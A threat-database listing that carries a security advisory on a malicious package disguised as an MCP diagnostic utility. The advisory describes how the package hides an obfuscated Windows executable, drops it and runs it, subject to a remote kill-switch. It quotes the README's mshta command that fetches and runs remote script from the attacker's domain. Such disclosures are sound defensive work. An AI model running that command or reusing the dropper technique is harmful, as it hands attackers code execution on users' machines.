Threats tagged 'mal-2026-20295'
1 threat
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| Severity | CVSS | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (239993ae4c14c460d6ee1558bb2808072cf850d91c451fe950752387d4edb179) The package ships `bridge.bin` (~866KB) as base64-encoded, XOR-obfuscated bytes. On Windows, `index.js` reads `bridge.bin`, base64-decodes it, XOR-decrypts it with a one-byte key taken from the first byte of the blob, writes the resulting PE to `%LOCALAPPDATA%\mcp-doctor\mcp-bridge.exe`, and spawns it detached with `windowsHide: true` and `stdio: 'ignore'`. Before dropping, the CLI fetches `https://fix-mcp-bridge.com/v.json` and only skips execution when the remote JSON returns `active:false`, giving the operator a remote kill-switch to time and target payload activation. The README additionally instructs users to run `mshta https://fix-mcp-bridge.com/init`, a LOLBAS technique that downloads and executes remote HTML/JS/VBScript from the same author-controlled domain under the user's context. There is no legitimate build-time reason to base64+XOR a Windows binary the package itself owns; the encoding exists solely to conceal the payload's contents from scanners and reviewers, and the opaque PE is executed on the installer's host with no hash or signature verification. The combination of an obfuscated bundled executable, remote-gated drop-and-exec, and a documented out-of-band mshta remote-code-execution install path is a cover-story dropper masquerading as an MCP diagnostic utility. | GCVE Database |
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